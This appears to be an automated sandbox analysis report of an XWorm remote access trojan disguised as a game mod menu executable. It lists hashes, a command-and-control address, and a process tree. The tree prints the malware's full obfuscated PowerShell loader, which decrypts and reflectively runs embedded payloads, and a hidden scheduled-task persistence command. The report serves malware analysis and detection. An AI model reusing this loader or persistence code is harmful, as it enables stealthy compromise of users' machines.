xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
132s
max time network
146s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1512-274-0x000000000A7D0000-0x000000000A7DE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	1512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3824	powershell.exe
4504	powershell.exe
1512	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-873560699-1074803302-2326074425-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3824	powershell.exe
3824	powershell.exe
3824	powershell.exe
4504	powershell.exe
4504	powershell.exe
4504	powershell.exe
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeIncreaseQuotaPrivilege	4504	powershell.exe
Token: SeSecurityPrivilege	4504	powershell.exe
Token: SeTakeOwnershipPrivilege	4504	powershell.exe
Token: SeLoadDriverPrivilege	4504	powershell.exe
Token: SeSystemProfilePrivilege	4504	powershell.exe
Token: SeSystemtimePrivilege	4504	powershell.exe
Token: SeProfSingleProcessPrivilege	4504	powershell.exe
Token: SeIncBasePriorityPrivilege	4504	powershell.exe
Token: SeCreatePagefilePrivilege	4504	powershell.exe
Token: SeBackupPrivilege	4504	powershell.exe
Token: SeRestorePrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeSystemEnvironmentPrivilege	4504	powershell.exe
Token: SeRemoteShutdownPrivilege	4504	powershell.exe
Token: SeUndockPrivilege	4504	powershell.exe
Token: SeManageVolumePrivilege	4504	powershell.exe
Token: 33	4504	powershell.exe
Token: 34	4504	powershell.exe
Token: 35	4504	powershell.exe
Token: 36	4504	powershell.exe
Token: SeIncreaseQuotaPrivilege	4504	powershell.exe
Token: SeSecurityPrivilege	4504	powershell.exe
Token: SeTakeOwnershipPrivilege	4504	powershell.exe
Token: SeLoadDriverPrivilege	4504	powershell.exe
Token: SeSystemProfilePrivilege	4504	powershell.exe
Token: SeSystemtimePrivilege	4504	powershell.exe
Token: SeProfSingleProcessPrivilege	4504	powershell.exe
Token: SeIncBasePriorityPrivilege	4504	powershell.exe
Token: SeCreatePagefilePrivilege	4504	powershell.exe
Token: SeBackupPrivilege	4504	powershell.exe
Token: SeRestorePrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeSystemEnvironmentPrivilege	4504	powershell.exe
Token: SeRemoteShutdownPrivilege	4504	powershell.exe
Token: SeUndockPrivilege	4504	powershell.exe
Token: SeManageVolumePrivilege	4504	powershell.exe
Token: 33	4504	powershell.exe
Token: 34	4504	powershell.exe
Token: 35	4504	powershell.exe
Token: 36	4504	powershell.exe
Token: SeIncreaseQuotaPrivilege	4504	powershell.exe
Token: SeSecurityPrivilege	4504	powershell.exe
Token: SeTakeOwnershipPrivilege	4504	powershell.exe
Token: SeLoadDriverPrivilege	4504	powershell.exe
Token: SeSystemProfilePrivilege	4504	powershell.exe
Token: SeSystemtimePrivilege	4504	powershell.exe
Token: SeProfSingleProcessPrivilege	4504	powershell.exe
Token: SeIncBasePriorityPrivilege	4504	powershell.exe
Token: SeCreatePagefilePrivilege	4504	powershell.exe
Token: SeBackupPrivilege	4504	powershell.exe
Token: SeRestorePrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeSystemEnvironmentPrivilege	4504	powershell.exe
Token: SeRemoteShutdownPrivilege	4504	powershell.exe
Token: SeUndockPrivilege	4504	powershell.exe
Token: SeManageVolumePrivilege	4504	powershell.exe
Token: 33	4504	powershell.exe
Token: 34	4504	powershell.exe
Token: 35	4504	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 2304	500	kiddionsmodmenu.exe	75
PID 500 wrote to memory of 2304	500	kiddionsmodmenu.exe	75
PID 500 wrote to memory of 2304	500	kiddionsmodmenu.exe	75
PID 2304 wrote to memory of 2360	2304	cmd.exe	78
PID 2304 wrote to memory of 2360	2304	cmd.exe	78
PID 2304 wrote to memory of 2360	2304	cmd.exe	78
PID 2304 wrote to memory of 3824	2304	cmd.exe	79
PID 2304 wrote to memory of 3824	2304	cmd.exe	79
PID 2304 wrote to memory of 3824	2304	cmd.exe	79
PID 3824 wrote to memory of 4504	3824	powershell.exe	80
PID 3824 wrote to memory of 4504	3824	powershell.exe	80
PID 3824 wrote to memory of 4504	3824	powershell.exe	80
PID 3824 wrote to memory of 2392	3824	powershell.exe	83
PID 3824 wrote to memory of 2392	3824	powershell.exe	83
PID 3824 wrote to memory of 2392	3824	powershell.exe	83
PID 2392 wrote to memory of 2928	2392	WScript.exe	84
PID 2392 wrote to memory of 2928	2392	WScript.exe	84
PID 2392 wrote to memory of 2928	2392	WScript.exe	84
PID 2928 wrote to memory of 344	2928	cmd.exe	86
PID 2928 wrote to memory of 344	2928	cmd.exe	86
PID 2928 wrote to memory of 344	2928	cmd.exe	86
PID 2928 wrote to memory of 1512	2928	cmd.exe	87
PID 2928 wrote to memory of 1512	2928	cmd.exe	87
PID 2928 wrote to memory of 1512	2928	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:500
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS88E7.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS88E7.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_336_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_336.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4504
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_336.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2392
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_336.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2928
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_336.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:344
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ac3d19fbb5c5f10833f1882308f77548

SHA1
ac880466fd99a5719fedc7289b00d78ba7088e06

SHA256
3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

SHA512
b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
a83313bc41298e9a4b37dcb0b16d0e36

SHA1
363bd397e0063b083913712a9e20218dac522814

SHA256
016b7ccdbd8c60f5c25fbe4c48ac8c77bdaf58cd67f91f2326d2b0acbe0b3275

SHA512
77e9c92b11b55de1e4cc33ea3c6ff75ae554c0ec06ad18312d64369466b94b2e732ebef0dba6164097ec0aa9728e1b0a2c807a2130c5dbc7668196cd6fa225fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS88E7.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfb10zh2.i52.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_336.vbs

Filesize
115B

MD5
29b49cc06a4615a350235a2a1dde9bb8

SHA1
6aafb920bda6c6b776437a28c3e0c0167acb93e5

SHA256
2e46e61a5eeeb74a176cd2df32b71bd88786d8ca6cb491173705c4431f02966c

SHA512
13b35cc3b4bc0a04789f585b3c13348b44623b9cd27d8ac913b0f64fe46d634838e41e30a08088ab8fb1b861560120a8001e91efd093d1d70915378611a428ef

Download Submit
memory/1512-283-0x000000000ACF0000-0x000000000AD82000-memory.dmp

Filesize
584KB

Download
memory/1512-274-0x000000000A7D0000-0x000000000A7DE000-memory.dmp

Filesize
56KB

Download
memory/1512-277-0x000000000A8B0000-0x000000000A94C000-memory.dmp

Filesize
624KB

Download
memory/3824-74-0x000000000A760000-0x000000000ADD8000-memory.dmp

Filesize
6.5MB

Download
memory/3824-78-0x000000000ADE0000-0x000000000B2DE000-memory.dmp

Filesize
5.0MB

Download
memory/3824-18-0x00000000082C0000-0x00000000082DC000-memory.dmp

Filesize
112KB

Download
memory/3824-19-0x00000000088B0000-0x00000000088FB000-memory.dmp

Filesize
300KB

Download
memory/3824-14-0x0000000007E80000-0x0000000007EE6000-memory.dmp

Filesize
408KB

Download
memory/3824-38-0x0000000008850000-0x000000000888C000-memory.dmp

Filesize
240KB

Download
memory/3824-69-0x0000000009330000-0x00000000093A6000-memory.dmp

Filesize
472KB

Download
memory/3824-75-0x000000000A100000-0x000000000A11A000-memory.dmp

Filesize
104KB

Download
memory/3824-13-0x0000000007E10000-0x0000000007E76000-memory.dmp

Filesize
408KB

Download
memory/3824-76-0x000000000A140000-0x000000000A148000-memory.dmp

Filesize
32KB

Download
memory/3824-77-0x000000000A150000-0x000000000A16E000-memory.dmp

Filesize
120KB

Download
memory/3824-15-0x0000000007EF0000-0x0000000008240000-memory.dmp

Filesize
3.3MB

Download
memory/3824-5-0x00000000727BE000-0x00000000727BF000-memory.dmp

Filesize
4KB

Download
memory/3824-279-0x00000000727B0000-0x0000000072E9E000-memory.dmp

Filesize
6.9MB

Download
memory/3824-8-0x0000000004E40000-0x0000000004E76000-memory.dmp

Filesize
216KB

Download
memory/3824-10-0x00000000074F0000-0x0000000007B18000-memory.dmp

Filesize
6.2MB

Download
memory/3824-9-0x00000000727B0000-0x0000000072E9E000-memory.dmp

Filesize
6.9MB

Download
memory/3824-12-0x0000000007B90000-0x0000000007BB2000-memory.dmp

Filesize
136KB

Download
memory/3824-11-0x00000000727B0000-0x0000000072E9E000-memory.dmp

Filesize
6.9MB

Download
memory/4504-112-0x0000000009440000-0x00000000094D4000-memory.dmp

Filesize
592KB

Download
memory/4504-105-0x000000006F390000-0x000000006F3DB000-memory.dmp

Filesize
300KB

Download
memory/4504-106-0x00000000090F0000-0x000000000910E000-memory.dmp

Filesize
120KB

Download
memory/4504-111-0x0000000009290000-0x0000000009335000-memory.dmp

Filesize
660KB

Download
memory/4504-104-0x0000000009110000-0x0000000009143000-memory.dmp

Filesize
204KB

Download